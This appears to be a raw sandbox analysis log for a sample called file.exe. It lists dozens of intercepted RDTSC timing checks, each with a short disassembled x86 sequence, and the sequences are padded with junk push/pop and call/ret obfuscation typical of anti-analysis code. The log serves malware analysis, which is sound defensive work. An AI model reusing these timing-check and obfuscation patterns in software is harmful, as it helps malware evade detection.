Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F5FC8 second address: 16F6012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F0DECF2B4E8h 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F0DECF2B4DEh 0x00000015 jne 00007F0DECF2B4D6h 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e jmp 00007F0DECF2B4E7h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F6012 second address: 16F6018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F6018 second address: 16F601E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F601E second address: 16F6023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F6023 second address: 16F602D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0DECF2B4DEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F61AF second address: 16F61B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F67AE second address: 16F67B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0DECF2B4D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F67B9 second address: 16F67F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E77h 0x00000007 jmp 00007F0DEC859E77h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 jbe 00007F0DEC859E66h 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FA3A6 second address: 16FA3AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FA3AC second address: 16FA3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FA3B0 second address: 16FA3B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FA3B4 second address: 16FA3C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FA3C1 second address: 16FA3C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FA3C7 second address: 16FA3D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007F0DEC859E66h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FA495 second address: 16FA49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FA49D second address: 16FA4A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FABCA second address: 16FABD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FAC61 second address: 16FAC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F0DEC859E77h 0x0000000c xchg eax, ebx 0x0000000d mov dword ptr [ebp+122D266Dh], edx 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FAC8D second address: 16FAC93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FAC93 second address: 16FAC97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FAF5D second address: 16FAF80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DECF2B4E2h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0DECF2B4DAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FAF80 second address: 16FAF84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FB1A3 second address: 16FB1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FB1A7 second address: 16FB1B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FB1B1 second address: 16FB1C2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F0DECF2B4D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FB3CC second address: 16FB3D1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FE266 second address: 16FE271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16FE271 second address: 16FE288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DEC859E73h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16B699B second address: 16B69AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1701406 second address: 1701410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F0DEC859E66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1701410 second address: 170145B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0DECF2B4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jno 00007F0DECF2B4D8h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jnc 00007F0DECF2B4D6h 0x0000001d popad 0x0000001e popad 0x0000001f nop 0x00000020 mov esi, dword ptr [ebp+122D1C8Fh] 0x00000026 push 00000000h 0x00000028 mov esi, eax 0x0000002a cmc 0x0000002b push 00000000h 0x0000002d clc 0x0000002e xchg eax, ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 jmp 00007F0DECF2B4E6h 0x00000037 pop eax 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170145B second address: 170147B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jp 00007F0DEC859E66h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170147B second address: 1701495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DECF2B4E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1701C3E second address: 1701C49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0DEC859E66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1702997 second address: 1702A09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b sub edi, 041101B9h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F0DECF2B4D8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D22EEh], ecx 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 jnl 00007F0DECF2B4DCh 0x0000003c pop edi 0x0000003d xchg eax, ebx 0x0000003e jmp 00007F0DECF2B4DAh 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F0DECF2B4E6h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1702A09 second address: 1702A14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F0DEC859E66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17034D5 second address: 17034DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F0DECF2B4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1706C73 second address: 1706C77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16BD434 second address: 16BD43C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16BD43C second address: 16BD440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1703D35 second address: 1703D39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16BD440 second address: 16BD444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1703D39 second address: 1703D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F0DECF2B4E1h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1708EE6 second address: 1708EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1708EEC second address: 1708F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F0DECF2B4E0h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F0DECF2B4D8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 mov bx, cx 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+1247B168h], esi 0x00000034 xchg eax, esi 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1708F3A second address: 1708F58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F0DEC859E6Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F0DEC859E68h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B0B0 second address: 170B0C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B0C6 second address: 170B0E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B0E7 second address: 170B0EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B0EB second address: 170B0EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B0EF second address: 170B159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F0DECF2B4D8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F0DECF2B4D8h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D1884h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007F0DECF2B4D8h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c xor edi, dword ptr [ebp+122D2689h] 0x00000052 push 00000000h 0x00000054 and ebx, dword ptr [ebp+122D1B21h] 0x0000005a xchg eax, esi 0x0000005b push ecx 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B159 second address: 170B15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B15D second address: 170B172 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0DECF2B4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B172 second address: 170B176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B288 second address: 170B28C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B28C second address: 170B292 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B292 second address: 170B31D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0DECF2B4D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F0DECF2B4D8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e or dword ptr [ebp+1247B168h], ebx 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b movsx edi, bx 0x0000003e mov eax, dword ptr [ebp+122D1625h] 0x00000044 push 00000000h 0x00000046 push eax 0x00000047 call 00007F0DECF2B4D8h 0x0000004c pop eax 0x0000004d mov dword ptr [esp+04h], eax 0x00000051 add dword ptr [esp+04h], 00000016h 0x00000059 inc eax 0x0000005a push eax 0x0000005b ret 0x0000005c pop eax 0x0000005d ret 0x0000005e add dword ptr [ebp+122D1884h], edi 0x00000064 push FFFFFFFFh 0x00000066 mov dword ptr [ebp+124587B1h], ecx 0x0000006c nop 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F0DECF2B4E3h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B31D second address: 170B321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B321 second address: 170B33B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0DECF2B4E2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B33B second address: 170B35D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0DEC859E78h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170B35D second address: 170B363 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170C2B5 second address: 170C2BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170C2BB second address: 170C2CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DECF2B4E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170DF56 second address: 170DFB9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0DEC859E6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+12458D01h], eax 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F0DEC859E68h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f jnc 00007F0DEC859E6Eh 0x00000035 push 00000000h 0x00000037 jg 00007F0DEC859E6Ch 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 push esi 0x00000042 pop esi 0x00000043 jl 00007F0DEC859E66h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170DFB9 second address: 170DFD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DECF2B4E5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170D127 second address: 170D1B5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0DEC859E68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push ebx 0x0000000c jmp 00007F0DEC859E6Dh 0x00000011 pop ebx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr [ebp+12457928h], edi 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F0DEC859E68h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 mov dword ptr [ebp+122D185Dh], eax 0x00000046 mov eax, dword ptr [ebp+122D0739h] 0x0000004c push 00000000h 0x0000004e push ecx 0x0000004f call 00007F0DEC859E68h 0x00000054 pop ecx 0x00000055 mov dword ptr [esp+04h], ecx 0x00000059 add dword ptr [esp+04h], 0000001Dh 0x00000061 inc ecx 0x00000062 push ecx 0x00000063 ret 0x00000064 pop ecx 0x00000065 ret 0x00000066 mov dword ptr [ebp+122D1B65h], ecx 0x0000006c push FFFFFFFFh 0x0000006e nop 0x0000006f push ebx 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170D1B5 second address: 170D1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 170E134 second address: 170E138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1712E32 second address: 1712E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1712E38 second address: 1712E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1712E3D second address: 1712E47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F0DECF2B4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1712E47 second address: 1712E5C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0DEC859E66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1712E5C second address: 1712E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1712E62 second address: 1712EBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c call 00007F0DEC859E79h 0x00000011 mov ebx, dword ptr [ebp+122D280Ah] 0x00000017 pop edi 0x00000018 push 00000000h 0x0000001a mov edi, dword ptr [ebp+122D2322h] 0x00000020 push 00000000h 0x00000022 mov dword ptr [ebp+122D1A70h], ecx 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jp 00007F0DEC859E6Ch 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1712EBC second address: 1712EC1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1713D9F second address: 1713DAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F0DEC859E66h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1713DAF second address: 1713E06 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0DECF2B4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c mov bx, si 0x0000000f push 00000000h 0x00000011 pushad 0x00000012 cmc 0x00000013 mov ax, 60DEh 0x00000017 popad 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F0DECF2B4D8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 xchg eax, esi 0x00000035 push edi 0x00000036 jmp 00007F0DECF2B4DEh 0x0000003b pop edi 0x0000003c push eax 0x0000003d pushad 0x0000003e pushad 0x0000003f jp 00007F0DECF2B4D6h 0x00000045 pushad 0x00000046 popad 0x00000047 popad 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1711232 second address: 1711252 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F0DEC859E73h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1711252 second address: 171126B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0DECF2B4E2h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1712FEA second address: 1712FFC instructions: 0x00000000 rdtsc 0x00000002 je 00007F0DEC859E66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
